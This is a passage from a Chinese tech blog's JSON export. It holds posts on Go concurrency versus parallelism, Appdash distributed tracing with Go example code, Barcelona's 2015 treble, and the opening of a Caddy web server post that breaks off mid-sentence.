Pike也觉得这些概念以及描述过于抽象，于是给了一个具体的“地鼠推车运书”的例子，不过当你看完这个例子后，可能会变得更加糊涂，至少我有这种感觉-地鼠凌乱综合症^_^。这是因为这个例子隐含的结合了Go语言goroutine调度的三个概念：P（虚拟processor上下文）、M(内核线程)和G（Goroutine对象）。如果仅仅从理解并行和并发的差异来说，我们可以抛开go语言，用生活中的例子感觉更适合些。\n下面我们就来一个例子来说说明一下并发与并行，从一个程序的设计演进角度来阐述。\n问题：说的是一个Gopher早起后的生活，Gopher早起后，有三个任务（或者称为三件事情）要完成：洗漱、早餐、着装。我们来设计一个程序，帮助Gopher高效正确的完成这三件事。\n如果你是程序员，要完成这个场景，你可能会这么设计你的程序：\nprogram1:\n最简单的思路：这个gopher一件一件事情去完成：\nmain:\ncall 洗漱\ncall 早餐\ncall 着装\n这里我们把Gopher看做是一颗cpu，它按程序逻辑，顺序执行洗漱、早餐和着装三件事。即如下图那样：\n现在我们玩个克隆游戏，我们clone出一个与这个Gopher一模一样的Gopher，且两个gopher之间存在着某种超宇宙联系，一个Gopher行为的结果都能反应到另外一个gopher上。我们让这两个Gopher一起来做这三件事情，看看是否能够提速。\n遗憾的是，两个Gopher都要从洗漱做起。一个Gopher占用了卫生间开始洗漱，另外一个Gopher只能等着，而没法去做早餐或是着装。当那个 Gopher完成洗漱，后面的这个Gopher由于超联系也同步完成了洗漱，进入下一个环节：早餐。过程还是一样的，只能一个Gopher在餐厅准备早 餐。也就是说这两个Gopher没有一起做事，而是一个做，一个赋闲。因此我们看到两个Gopher并没有加快事情完成的步伐，从过程上来看，即便有更多 的Gopher，也依旧无法提速。我们需要对程序做些改造。\n注：首尾相连的红线的总长度 = 完成时间。\nprogram2:\nmain:\npthread_create(洗漱)\npthread_create(早餐)\npthread_create(着装)\nwaitAll\nGopher来执行一遍新程序。由于建立了三个逻辑执行体，因此Gopher在三个执行体间切换，从Gopher的角度去看，Gopher的执行路径如下图：\nProgram2-1\nGopher不再像上面Program1那样顺序执行了，而是在三个活动间切换，但总时长依旧没有下降。\n为了验证该程序在多Gopher下是否有效率提升，我们再玩一次克隆游戏，这次clone出另外两个Gopher，三个Gopher一起来执行该程序，一个可能的执行路径见下图：\nProgram2-2\n每个Gopher绑定一个逻辑执行体，整体完成的总时长下降为原来的三分之一。这次三个Gopher都没有赋闲，真正做到你干你的，我干我的，一起做。\nprogram3:\n虽然在program2中，多个Gopher一起工作提升了效率，但那是极限么，还能提高么？我们试想一下三个活动：洗漱、早餐和着装的难易不同，耗时不 同。一个可能的结果是Gopher1完成了洗漱，但Gopher2才准备了一半早餐，Gopher3刚选完上衣。这时Gopher1便开始空闲，无法帮助 Gopher2和Gopher3继续提高效率。我们再试试重新组合一下要完成的任务，让每个Gopher都能执行不同的活动环节。\nmain:\nc chan job\nfor i = 0; i \u0026lt; 3; i++ {\ngo gopherworker(c)\n}\nfor j := range jobs {\nc \u0026lt;- j\n}\n… …\ngopherworker(c chan job):\nfor {\nselect {\ncase \u0026lt;-c:\n… …\n}\n以下是一个可能的执行路径图：\n到了这里，不知道你是否通过上面程序演进的过程悟道些什么，例子里我通篇没有提到并发或并行。\n但从例子可以看出，并发和并行是两个阶段的事情。并发在程序的设计和实现阶段，并行在程序的执行阶段。\n在Program1之前，我们只有问题，并无方案。\nProgram1方案让我们可以解决问题，但从Program1的执行结果来看，Program1并不能并行执行。原因是在设计和实现阶段程序就是按照顺序思路进行的，这就好比底子没打好，在平房的地基上永远不能盖50层的大楼。\nProgram2-1方案的执行结果与Program1相同，但Program2在设计和实现阶段采用的理念却与Program1完全不同，如果说 Program1打的是平房的地基，那么Program2打的就是大厦的地基，虽然Program2-1上依旧盖的是平房（单Gopher执行）。但 Program2-2显然就是在这样的地基上盖的摩天大楼了（多Gopher执行）。Program2的结构使得Program2在多Gopher下提升 了效率，实现了运行时并行。\nProgram3更进一步，在设计和实现阶段就本着充分高效的利用多个Gopher的理念，并最终实现了执行阶段的并行。\n因此我们在编程语言层面更多谈并发，Golang对外宣传时永远用的是支持并发，而不是支持并行。设计实现阶段好比打地基，不同水准的地基决定了你在这个地基上面是只能盖平房，还是盖高层，还是能盖摩天大楼。\n我们再回过头来重温Rob Pike大神关于两者的阐述：“并发关乎结构，并行关乎执行”，是不是感觉意味深长啊，大神就是大神，一句话就能抓住本质。\ngo 1.5之前默认情况下，Go程序都是不能并行的，因为Go将GOMAXPROCS默认设置为1，这样你仅仅能利用一个内核线程。Go 1.5及以后GOMAXPROCS被默认设置为所运行机器的CPU核数，如果你的机器是多核的，你的Go程序就有可能在运行期是并行的，前提是你在设计程 序时就充分运用了并发的设计理念，否则就会像Program1那样，即便有1w颗CPU，你也只能利用上一颗。\n","permalink":"https://tonybai.com/2015/06/23/concurrency-and-parallelism/","summary":"\u003cp\u003e在一般人的眼中，“并行”就是并行，即你干你的，我干我的，两个“并行”的执行过程可能是两条毫无瓜葛的平行线，也可能是有交叉，但瞬即分开的两条线。不 过在程序员的世界里，有关“并行”的概念却有两个单词：Concurrency和Parallelism，对应的比较主流的中文翻译为并发 (Concurrency)和并行(Parallelism)。\u003c/p\u003e","title":"也谈并发与并行"},{"content":"在“云”盛行的今天，分布式系统已不是什么新鲜的玩意儿。用脚也能想得出来：Google、baidu、淘宝、亚马逊、twitter等IT巨头 背后的巨型计算平台都是分布式系统了，甚至就连一个简单的微信公众号应用的后端也都分布式了，即便仅有几台机器而已。分布式让系统富有弹性，面 对纷繁变化的需求，可以伸缩自如。但分布式系统也给开发以及运维人员带来了难题：如何监控和优化分布式系统的行为。\n以google为例，想象一下，用户通过浏览器发起一个搜索请求，Google后端可能会有成百上千台机器、多种编程语言实现的几十个、上百个应 用服务开始忙碌起来，一起计算请求的返回结果。一旦这个过程中某一个环节出现问题/bug，那么查找和定位起来是相当困难的，于是乎分布式系统跟 踪系统出炉了。Google在2010年发表了著名论文《Dapper, a Large-Scale Distributed Systems Tracing Infrastructure》(中文版在这里)。Dapper是google内部使用的一个分布式系统跟踪基础设施，与之前的一些跟踪系统相比，Dapper以低消耗、对应用透明以及良好的扩展性著称。并且 Google Dapper更倾向于性能数据方面的收集和调查，可以辅助开发人员和运维人员发现分布式系统的性能瓶颈并着手优化。Dapper出现后，各大巨头开始跟 风，比如twitter的Zipkin（开源）、淘宝的“鹰眼”、eBay的Centralized Activity Logging (CAL)等，它们基本上都是参考google的dapper论文设计和实现的。\n而本文将要介绍的Appdash则是sourcegraph开源的一款用Go实现的分布式系统跟踪工具套件，它同样是以google的 dapper为原型设计和实现的，目前用于sourcegraph平台的性能跟踪和监控。\n一、原理\nAppdash实现了Google dapper中的四个主要概念：\n【Span】\nSpan指的是一个服务调用的跨度，在实现中用SpanId标识。根服务调用者的Span为根span（root span)，在根级别进行的下一级服务调用Span的Parent Span为root span。以此类推，服务调用链构成了一棵tree，整个tree构成了一个Trace。\nAppdash中SpanId由三部分组成：TraceID/SpanID/parentSpanID，例如： 34c31a18026f61df/aab2a63e86ac0166/592043d0a5871aaf。TraceID用于唯一标识一次Trace。traceid在申请RootSpanID时自动分配。\n在上面原理图中，我们也可以看到一次Trace过程中SpanID的情况。图中调用链大致是：\nfrontservice:\ncall serviceA\ncall serviceB\ncall serviceB1\n… …\ncall serviceN\n对应服务调用的Span的树形结构如下：\nfrontservice: SpanId = xxxxx/nnnn1，该span为root span：traceid=xxxxx, spanid=nnnn1，parent span id为空。\nserviceA: SpanId = xxxxx/nnnn2/nnnn1，该span为child span：traceid=xxxxx, spanid=nnnn2，parent span id为root span id:nnnn1。\nserviceB: SpanId = xxxxx/nnnn3/nnnn1，该span为child span：traceid=xxxxx, spanid=nnnn3，parent span id为root span id:nnnn1。\n… …\nserviceN: SpanId = xxxxx/nnnnm/nnnn1，该span为child span：traceid=xxxxx, spanid=nnnnm，parent span id为root span id:nnnn1。\nserviceB1: SpanId = xxxxx/nnnn3-1/nnnn3，该span为serviceB的child span，traceid=xxxxx, spanid=nnnn3-1，parent span id为serviceB的spanid：nnnn3\n【Event】\n个人理解在Appdash中Event是服务调用跟踪信息的wrapper。最终我们在Appdash UI上看到的信息，都是由event承载的并且发给Appdash Server的信息。在Appdash中，你可以显式使用event埋点，吐出跟踪信息，也可以使用Appdash封装好的包接口，比如 httptrace.Transport等发送调用跟踪信息，这些包的底层实现也是基于event的。event在传输前会被encoding为 Annotation的形式。\n【Recorder】\n在Appdash中，Recorder是用来发送event给Appdash的Collector的，每个Recorder会与一个特定的span相关联。\n【Collector】\n从Recorder那接收Annotation（即encoded event）。通常一个appdash server会运行一个Collector，监听某个跟踪信息收集端口，将收到的信息存储在Store中。\n二、安装\nappdash是开源的，通过go get即可得到源码并安装example：\ngo get -u sourcegraph.com/sourcegraph/appdash/cmd/…\nappdash自带一个example，在examples/cmd/webapp下面。执行webapp，你会看到如下结果：\n$webapp\n2015/06/17 13:14:55 Appdash web UI running on HTTP :8700\n[negroni] listening on :8699\n这是一个集appdash server, frontservice, fakebackendservice于一身的example，其大致结构如下图：\n通过浏览器打开:localhost:8700页面，你会看到appdash server的UI，通过该UI你可以看到所有Trace的全貌。\n访问http://localhost:8699/，你就触发了一次Trace。在appdash server ui下可以看到如下画面：\n从页面上展示的信息可以看出，该webapp在处理用户request时共进行了三次服务调用，三次调用的耗时分别为：201ms，202ms， 218ms，共耗时632ms。\n一个更复杂的例子在cmd/appdash下面，后面的应用实例也是根据这个改造出来的，这里就不细说了。\n三、应用实例\n这里根据cmd/appdash改造出一个应用appdash的例子，例子的结构如下图：\n例子大致分为三部分：\nappdash — 实现了一个appdash server， 该server带有一个collector，用于收集跟踪信息，收集后的信息存储在一个memstore中；appdash server提供ui，ui从memstore提取信息并展示在ui上供operator查看。\nbackendservices — 实现两个模拟的后端服务，供frontservice调用。\nfrontservice — 服务调用的起始端，当用户访问系统时触发一次跟踪。\n先从backendservice这个简单的demo service说起，backendservice下有两个service: ServiceA和ServiceB，两个service几乎一模一样，我们看一个就ok了：\n//appdash_examples/backendservices/serviceA.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;net/http\u0026rdquo;\n\u0026ldquo;time\u0026rdquo;\n)\nfunc handleRequest(w http.ResponseWriter, r *http.Request) {\nvar err error\nif err = r.ParseForm(); err != nil {\nfmt.Println(\u0026ldquo;Http parse form err:\u0026rdquo;, err)\nreturn\n}\nfmt.Println(\u0026ldquo;SpanId =\u0026rdquo;, r.Header.Get(\u0026ldquo;Span-Id\u0026rdquo;))\ntime.Sleep(time.Millisecond * 101)\nw.Write([]byte(\u0026ldquo;service1 ok\u0026rdquo;))\n}\nfunc main() {\nhttp.HandleFunc(\u0026quot;/\u0026quot;, handleRequest)\nhttp.ListenAndServe(\u0026quot;:6601\u0026quot;, nil)\n}\n这是一个\u0026quot;hello world\u0026quot;级别的web server。值得注意的只有两点：\n1、在handleRequest中我们故意Sleep 101ms，用来模拟服务的耗时。\n2、打印出request头中的\u0026quot;Span-Id\u0026quot;选项值，用于跟踪Span-Id的分配情况。\n接下来我们来看appdash server。appdash server = collector +store +ui。\n//appdash.go\nvar c Server\nfunc init() {\nc = Server{\nCollectorAddr: \u0026ldquo;:3001\u0026rdquo;,\nHTTPAddr: \u0026ldquo;:3000\u0026rdquo;,\n}\n}\ntype Server struct {\nCollectorAddr string\nHTTPAddr string\n}\nfunc main() {\nvar (\nmemStore = appdash.NewMemoryStore()\nStore = appdash.Store(memStore)\nQueryer = memStore\n)\napp := traceapp.New(nil)\napp.Store = Store\napp.Queryer = Queryer\nvar h http.Handler = app\nvar l net.Listener\nvar proto string\nvar err error\nl, err = net.Listen(\u0026ldquo;tcp\u0026rdquo;, c.CollectorAddr)\nif err != nil {\nlog.Fatal(err)\n}\nproto = \u0026ldquo;plaintext TCP (no security)\u0026rdquo;\nlog.Printf(\u0026ldquo;appdash collector listening on %s (%s)\u0026rdquo;,\nc.CollectorAddr, proto)\ncs := appdash.NewServer(l, appdash.NewLocalCollector(Store))\ngo cs.Start()\nlog.Printf(\u0026ldquo;appdash HTTP server listening on %s\u0026rdquo;, c.HTTPAddr)\nerr = http.ListenAndServe(c.HTTPAddr, h)\nif err != nil {\nfmt.Println(\u0026ldquo;listenandserver listen err:\u0026rdquo;, err)\n}\n}\nappdash中的Store是用来存储收集到的跟踪结果的，Store是Collector接口的超集，这个例子中，直接利用memstore(实现了 Collector接口)作为local collector，利用store的Collect方法收集trace数据。UI侧则从store中读取结果展示给用户。\n最后我们说说：frontservice。frontservice是Trace的触发起点。当用户访问8080端口时，frontservice调用两个backend service：\n//frontservice.go\nfunc handleRequest(w http.ResponseWriter, r *http.Request) {\nvar result string\nspan := appdash.NewRootSpanID()\nfmt.Println(\u0026ldquo;span is \u0026ldquo;, span)\ncollector := appdash.NewRemoteCollector(\u0026quot;:3001\u0026rdquo;)\nhttpClient := \u0026amp;http.Client{\nTransport: \u0026amp;httptrace.Transport{\nRecorder: appdash.NewRecorder(span, collector),\nSetName: true,\n},\n}\n//Service A\nresp, err := httpClient.Get(\u0026ldquo;http://localhost:6601\u0026rdquo;)\nif err != nil {\nlog.Println(\u0026ldquo;access serviceA err:\u0026rdquo;, err)\n} else {\nlog.Println(\u0026ldquo;access serviceA ok\u0026rdquo;)\nresp.Body.Close()\nresult += \u0026ldquo;access serviceA ok\\n\u0026rdquo;\n}\n//Service B\nresp, err = httpClient.Get(\u0026ldquo;http://localhost:6602\u0026rdquo;)\nif err != nil {\nlog.Println(\u0026ldquo;access serviceB err:\u0026rdquo;, err)\nreturn\n} else {\nlog.Println(\u0026ldquo;access serviceB ok\u0026rdquo;)\nresp.Body.Close()\nresult += \u0026ldquo;access serviceB ok\\n\u0026rdquo;\n}\nw.Write([]byte(result))\n}\nfunc main() {\nhttp.HandleFunc(\u0026rdquo;/\u0026quot;, handleRequest)\nhttp.ListenAndServe(\u0026quot;:8080\u0026quot;, nil)\n}\n从代码看，处理每个请求时都会分配一个root span，同时traceid也随之分配出来。例子中没有直接使用Recorder埋点发送event，而是利用了appdash封装好的 httptrace.Transport，在初始化httpClient时，将transport实例与span和一个remoteCollector想 关联。后续每次调用httpClient进行Get/Post操作时，底层代码会自动调用httptrace.Transport的RoundTrip方 法，后者在Request header上添加\u0026quot;Span-Id\u0026quot;参数，并调用Recorder的Event方法将跟踪信息发给RemoteCollector：\n//appdash/httptrace/client.go\nfunc (t *Transport) RoundTrip(req *http.Request) (*http.Response, error) {\nvar transport http.RoundTripper\nif t.Transport != nil {\ntransport = t.Transport\n} else {\ntransport = http.DefaultTransport\n}\n… …\nreq = cloneRequest(req)\nchild := t.Recorder.Child()\nif t.SetName {\nchild.Name(req.URL.Host)\n}\nSetSpanIDHeader(req.Header, child.SpanID)\ne := NewClientEvent(req)\ne.ClientSend = time.Now()\n// Make the HTTP request.\nresp, err := transport.RoundTrip(req)\ne.ClientRecv = time.Now()\nif err == nil {\ne.Response = responseInfo(resp)\n} else {\ne.Response.StatusCode = -1\n}\nchild.Event(e)\nreturn resp, err\n}\n这种方法在一定程度上实现了trace对应用的透明性。\n你也可以显式的在代码中调用Recorder的Event的方法将trace信息发送给Collector，下面是一个fake SQLEvent的跟踪发送：\n// SQL event\ntraceRec := appdash.NewRecorder(span, collector)\ntraceRec.Name(\u0026ldquo;sqlevent example\u0026rdquo;)\n// A random length for the trace.\nlength := time.Duration(rand.Intn(1000)) * time.Millisecond\nstartTime := time.Now().Add(-time.Duration(rand.Intn(100)) * time.Minute)\ntraceRec.Event(\u0026amp;sqltrace.SQLEvent{\nClientSend: startTime,\nClientRecv: startTime.Add(length),\nSQL: \u0026ldquo;SELECT * FROM table_name;\u0026rdquo;,\nTag: fmt.Sprintf(\u0026ldquo;fakeTag%d\u0026rdquo;, rand.Intn(10)),\n})\n不过这种显式埋点需要程序配合做一些改造。\n四、小结\n目前Appdash的资料甚少，似乎只是其东家sourcegraph在production环境有应用。在github.com上受到的关注度也不算高。\nappdash是参考google dapper实现的，但目前来看appdash只是实现了“形”，也许称为神器有些言过其实^_^。\n首先，dapper强调对应用透明，并使用了Thread LocalStorage。appdash实现了底层的recorder+event机制，上层通过httptrace、sqltrace做了封装，以降 低对应用代码的侵入性。但从上面的应用来看，透明性还有很大提高空间。\n其次，appdash的性能数据、扩展方案sourcegraph并没有给出明确说明。\n不过作为用go实现的第一个分布式系统跟踪工具，appdash还是值得肯定的。在小规模分布式系统中应用对于系统行为的优化还是会有很大帮助的。\nBTW，上述例子的完整源码在这里可以下载到。\n","permalink":"https://tonybai.com/2015/06/17/appdash-distributed-systems-tracing-in-go/","summary":"\u003cp\u003e在“云”盛行的今天，\u003ca href=\"https://en.wikipedia.org/wiki/Distributed_computing\"\u003e分布式系统\u003c/a\u003e已不是什么新鲜的玩意儿。用脚也能想得出来：Google、baidu、淘宝、亚马逊、twitter等IT巨头 背后的巨型计算平台都是分布式系统了，甚至就连一个简单的微信公众号应用的后端也都分布式了，即便仅有几台机器而已。分布式让系统富有弹性，面 对纷繁变化的需求，可以伸缩自如。但分布式系统也给开发以及运维人员带来了难题：如何监控和优化分布式系统的行为。\u003c/p\u003e","title":"Appdash，用Go实现的分布式系统跟踪神器"},{"content":"好久不在博客上写有关足球的文章了。上一次聊足球，还是在去年世界杯决赛后，就是那个让全世界阿根廷球迷、梅西球迷伤心的日子。梅西登上领奖台瞥视大力神 金杯而不能举起的场景曾让无数梅西球迷心碎。不过梅西的足球世界大部分时间是快乐的，才用不到一年，梅西就用职业生涯的第二个“三冠王”告诉大家：王者梅西回来了 ！\n今天早上8：30，用了2个多小时看完了CCTV5 尤文vs巴萨的2015年欧冠决赛的录像。没错，的确看的是录像。虽然是巴萨球迷，梅西死忠，但周日固定的家庭活动计划已经让我无法在2：45起床收看比 赛了。实际上整个这个赛季收看巴萨直播的次数也屈指可数，不过这一切都不影响我对巴萨和梅西的热爱。\n经历了上个赛季的触底，实际上我对巴萨这个赛季并没有过高的期望，能收获一个冠军，止住下滑，重新企稳，我就满意了。\n不过巴萨在西甲却出人意料的高开了。赛季初，巴萨连续取得胜利，并保持多场比赛不失球，这瞬间吊起了萨迷们的胃口，渐渐的大家都调高了对这 只巴萨期望。但就在这时，巴萨却连续在强强对抗中打平或失利，并在第一次国家德比输球后拱手让出榜首位置，成为追赶者。球迷对巴萨的不满气氛在巴萨冬歇期 后客场输给皇家社会后到达顶点。记得那场比赛后，我还在微博中发泄了一下，痛斥恩里克的情商不配做巴萨主帅。也正是这场比赛成为了巴萨整个赛季的拐点，值 得庆幸的是，这次是向上拐。\n赛季末经媒体报道得知，这个拐点是球员与主教练的合力促成的：\n1、以梅西、哈维等大佬为首的球员们内部达成了一致，要团结，不能内乱，不能再给隔壁任何机会；\n2、恩里克教练团队也认识到了梅西在团队中无可替代的核心地位。\n至此以后，梅西就再也没有出现在替补席，巴萨基本没有再犯低级错误，MSN三叉戟磨合期过，大放异彩，三线皆喜报频传。\n于是乎就有了以下三个场景：\n1、西甲第37轮，梅西一球定江山，巴萨登顶西甲冠军。\n2、诺坎普国王杯决赛，梅西千里走单骑，打入史诗进球，3:1立克毕巴，摘取国王杯桂冠。\n3、今天凌晨，内马尔压哨进球，巴萨3:1击溃老妇人尤文图斯，站上欧洲之巅。\n巴萨触底反弹，并以绝对超出预期的表现，直接拿到俱乐部历史第二个三冠王，这是巴萨团队合力的结果。\n我们来谈谈这个赛季的巴萨****团队。\n【管理层】\n不得不说，巴萨管理团队于上个赛季中后期的内乱真是让球迷们烦透了。巴萨将士士气低落，战绩不佳，与管理层的“乱”有着直接关系。历史上，巴萨的阶段性没 落也基本上都源于管理团队的内乱。从罗塞尔辞职，到苏比萨雷塔因巴萨收到FIFA禁止转会处罚而被炒鱿鱼，巴萨内乱终于渐渐平息了一些。也就是在这段“和 平”时期，巴萨将关注放回赛场，战力逐渐恢复。巴萨管理层这个赛季的表现仅仅算得上及格罢了，这个分数还是看在表现异常优异的苏牙（苏亚雷斯）和辣鸡（拉 基蒂奇）才给出的。巴萨下个赛季还要进行主席大选，巴萨球迷心中又得忐忑一阵了。\n【恩里克】\n来巴萨之前，恩里克的执教“名声”似乎不那么好，在罗马以失意告终，上个赛季也仅仅实现塞尔塔保级罢了。恩里克自封“球队老大”的行事风格总是会触发更衣 室矛盾，这也是他在罗马这样的意甲豪门吃不开的原因（在罗马不尊重狼王托蒂，结果好不到哪去）。最初恩里克的行为特征充满我行我素，缺少一些妥协和平衡， 这也是其情商被球迷和媒体诟病的原因。与皇家社会一役让恩里克似乎顿悟。我们局外人很难了解到细节，恩里克是如何让球队走上正轨的。但与梅球王的关系缓和 绝对是恩里克本赛季取得成功的重要原因之一。恩里克学会了妥协，也就是说不再那么自我了。\n不过恩里克也的确给巴萨带来了变化，我个人觉得其最大的贡献是在巴萨目前的阵容下找到了最适合现在巴萨的首发11人（还记得这个赛季中前期恩里克用过多少 种首发阵容吗？）以及适合的风格和踢法。恩里克很清楚不能模仿瓜帅的巴萨，现在的巴萨已经不再具备再踢那种tiki taka绝对控球风格足球的能力了。双核已老，巴萨传球的精确性下降，控制力下降，很容易丢球被打反击。\n获得三冠王的恩里克，总是无法避免被和当年的瓜帅对比。所有人都看得出来，现在的巴萨风格与瓜帅鼎盛时期巴萨的风格有大不同。个人拙见：如果真正比起来， 还是瓜帅那支巴萨更强，那种强强在气势上，强在任何要与巴萨为对手的欧洲球队面对巴萨都会采集一种战术：大巴。而现在这只巴萨，任何人都想也都能和他拜拜 手腕。\n关于恩里克的轮换让巴萨将士保持健康和状态的观点，我觉得见仁见智。梅西没有轮换，依旧健康，也依旧好状态。\n总而言之，恩里克成功了，成功的度过了第一个赛季的信任危机。之后如何表现，如何变化（被对手研究透后）才是体现恩里克真实能力的体现，前提是下个赛季恩 里克继续执教。我还是希望他能继续执教的，毕竟能保持冠军球队的连续性和稳定性。毕竟萨米们还期待着六冠王的梅开二度呢！\n【梅西】\n竭尽全力，将阿根廷送入决赛，但却没能帮助阿根廷最终捧杯，要说伤心，谁也比不过梅西。多伤心只有他自己知道。不过还是那句话，梅西天生为足球而生， 天生为快乐足球而生。沉溺于快乐的足球中，梅西才能发挥出外星人般的威力。经历了两个不算太成功的赛季后，梅西也终于大爆发了。一方面这得益于梅西将重心 重新放回到俱乐部，梅西承认14年为世界杯留力了。另一方面则是对荣誉的新的渴望。这些都正面的表现在赛场上、日常训练上以及梅西减肥的态度上了。我们要 庆幸，庆幸梅西没有走肥罗的老路。严格遵守营养师的建议让梅西重归轻盈，再次获得了凌波微步的能力，也避免了再受伤病侵袭，这是本赛季梅西重回巅峰的基 础。\n另外梅西有意识的自我进化，让我们再次看到梅西的足球境界是多么的高深。这个赛季，在MSN组合中梅球王更多的是扮演搭台的角色，内马尔和 苏牙唱戏。梅西长传日益精准和飘逸，45度角长传找内马尔或阿尔巴的进攻路线屡屡敲碎对方防线。直塞、任意球、撞墙配合、突破传中无所不能，勺子点球也带 给球迷一丝惊艳。词穷是梅吹们的共同心声。这里再套用一次俗语格式：梅西是“中场里进球最多的，前锋中组织、助攻、突破、传威胁球最多、后撤最深的”。\n凭借本赛季的三冠王，以及下个赛季的可能的“六冠王”，梅西基本上预定了下一个“金球奖”，梅西的纪录只有梅西自己去打破了！\n【布拉沃】\n巴萨联赛最后一道闸门，联赛上半段连续不失球，绝对是能力的体现。布拉沃的成就让我想起了巴萨历史最佳门神：巴尔德斯。如果巴尔德斯没有走，他的荣誉簿中 就又多了一次三冠王。不过布拉沃也应该清楚，小狮王特尔施特根才是未来巴萨重点培养的对象，中流砥柱。不知道下个赛季巴萨如何在两位顶级门将中抉择。\n【内马尔】\n公认巴萨王储。这个赛季在进球数上是仅次于梅西的第二功臣，屡屡有关键比赛的关键进球。个人觉得内少最大的优点就是清楚的知道现在梅西是球队的核心，还没 到他立腕的时候，安心辅佐梅西才能带来个人能力和成绩上的最大收益。内马尔的能力毋庸置疑，但要学习的还有很多。年轻就是内马尔最大的优势。内马尔后续的 职业生涯如何，能否像梅西那样，连续N年持续保持最高状态，还是要看他自己的自律了。一般来说，巴西球员，尤其是巨星，到目前为止还少有能持续保持巅峰状 态的，比如大罗和小罗，希望内马尔能为巴西球员做出表率！\n【小白】\n欧冠决赛MVP，这个赛季低开高走，状态在最后的欧冠决赛彻底释放，让我们依稀看到带球飘逸的小白。在哈维离开巴萨后，小白义不容辞成为巴萨的绝对大佬，带领新一期巴萨梦之队走向一个有一个巅峰。\n【皮克】\n皮总这个赛季终于也随着“大盘”进入牛市了。在经历了两个赛季低迷后，皮总和梅西同步的回到了巅峰，再次成为后防线上那个让人放心的带刀后卫了。\n【苏牙】\n头顶欧洲金靴和世界杯“亮牙”的光环，苏牙从英超来到了西甲，并出人意料的与梅西、内马尔组成了史上最强三叉戟。苏牙个人能力太强，跑位、前插、卸球、射 门一气呵成，估计连皇马球迷都不得不承认：“太销魂”了！巴萨自埃托奥之后的9号魔咒似乎对苏牙也不起什么作用。下个赛季相信苏牙能表现更好，巴萨历史最 佳中锋名号在等待着苏牙。\n【辣鸡】\n巴萨本赛季最佳引援之一。欧冠决赛的第一个进球是大家对他最深的印象，实际上整个赛季，拉基蒂奇都有着优异的表现。在巴萨中场承前启后，与梅西不断配合、 换位、保护。前插得分能力是辣鸡一大特色，跑不死是辣鸡的招牌！相信88年出生的辣鸡必将成为巴萨新一代王朝的中流砥柱。\n【哈维】\n“新陈代谢”，自然规律无法抗拒。西班牙足球史上最佳中场哈维本赛季以三冠王的荣誉完美谢幕。本赛季哈维更多的是坐在替补席发挥着自己的光和热。在输球于 皇家社会后，是哈维带领大家自我反省，达成一致，从而使得巴萨走出低谷的。哈维在他在巴萨的最后一个赛季，发挥了居功至伟的作用。“三冠王”是送给哈维最 好的离别礼物。相信未来，哈维还会回到巴萨，并以主教练身份带领巴萨走向欧洲巅峰。\n【布斯克茨】\n兢兢业业，勤勤恳恳，作为巴萨的单后腰，布教授是巴萨中轴线上重要的一枚棋子，这个赛季也有着上佳的发挥。尤文教练甚至认为，只要封住梅西和小布，就能封住巴萨，可见小布在巴萨阵容和战术中的重要性。\n【阿尔维斯】\n这几个赛季阿尔维斯随着年龄的增大，状态却有下滑，梅西回归中路后，与梅西的那种配合也少见了。但这个赛季似乎是梅西回归右路后，又激发了阿尔维斯的状 态。这个赛季的阿尔维斯似乎又重新回到了巅峰时刻：助攻犀利，防守到位。无奈合同即将到底，未来还不确定。从阿尔维斯目前的身体情况和状态而言，再为巴萨 打两个赛季不成问题，真心不希望阿尔维斯出走，尤其是在巴萨特别需要他的时候。\n欧冠落幕，欧洲联赛告一段落。不过阿根廷球迷、梅西粉丝却不担心，因为还有即将开打的美洲杯赛，我们仍旧会看到梅西、小马哥。阿根廷目前的实力在南美还是数一数二的。前锋线自不必提，牛B前锋太多；中场稍弱，但与其他南美球队中场比起来，巴内加、帕斯托雷等也不逞多让。后防线有当红的瓦伦中卫奥塔门迪领衔，也是让人可以相对放心的。\n目前唯一担心的就是梅西赛季全勤后的体能状况。一般来说这种洲际大赛表现突出的都是那些在欧洲联赛中没有消耗多少体力的，像阿根廷对中的阿圭罗、迪玛利 亚，我觉得在本次美洲杯中会有上佳发挥。因此梅西可以选择在小组赛面对弱队时，适当做做替补席，虽然这明显不符合梅西的性格。但要走的更远，在关键比赛中 有上佳发挥，体力是基本保证啊。\n期待本届美洲杯，阿根廷能载誉而归，也该轮到梅西拿拿国家队层面的冠军了！\n","permalink":"https://tonybai.com/2015/06/07/barca-win-treble-twice/","summary":"\u003cp\u003e好久不在博客上写有关足球的文章了。\u003ca href=\"http://tonybai.com/2014/07/15/will-new-soccer-king-appear/\"\u003e上一次聊足球\u003c/a\u003e，还是在去年\u003ca href=\"http://en.wikipedia.org/wiki/FIFA_World_Cup\"\u003e世界杯\u003c/a\u003e决赛后，就是那个让全世界阿根廷球迷、梅西球迷伤心的日子。梅西登上领奖台瞥视大力神 金杯而不能举起的场景曾让无数梅西球迷心碎。不过梅西的足球世界大部分时间是快乐的，才用不到一年，梅西就用职业生涯的第二个“三冠王”告诉大家：\u003cstrong\u003e\u003ca href=\"http://en.wikipedia.org/wiki/Lionel_Messi\"\u003e王者梅西\u003c/a\u003e回来了\u003c/strong\u003e ！\u003c/p\u003e","title":"巴萨“三冠王”梅开二度，梅球王预定第五座金球奖杯"},{"content":"这是一个Web Server的时代，apache2与nginx共舞，在追求极致性能的路上，没有最高，只有更高。但这又是一个追求个性化的时代，有些Web Server并没有去挤“Performance提升”这一独木桥，而是有着自己的定位，Caddy就是这样一个开源Web Server。\nCaddy的作者Matt Holt在caddy官网以及FAQ中对caddy的目标阐释如下： 其他Web Server为Web而设计，Caddy为human设计。功能定位上，与经常充当最前端反向代理的nginx不同，caddy致力于成为一个易用的静态 文件Web Server。可以看出Caddy主打易用性，使用配置简单。并且得益于Go的跨平台特性，caddy很容易的支持了三大主流平台:Windows、 Linux、Mac。在Caddy开发者文档中，我们可以看到caddy还可以在Android(linux arm)上运行。caddy目前版本为0.7.1，还不稳定，且后续版本可能变化较大，甚至与前期版本不兼容，因此作者目前不推荐caddy在生产环境被 重度使用。\n关注caddy，是因为caddy填补了go在通用web server这块的空白(也许有其他，但我还不知道)，同时Web server in go也“响应”了近期Golang去C化的趋势(Go 1.5中C is gone！)，即便caddy作者提到caddy的目标并非如nginx那样。但未来谁知道呢？一旦Go性能足够高时，一旦caddy足够稳定时，自然而 然的就会有人将其用在某些应用的生产环境中替代nginx或apache2了。一套全Go的系统，在部署、运维方面也是有优势的。\n一、安装和运行caddy\n和诸多go应用一样，我们可以直接从caddy的github.com 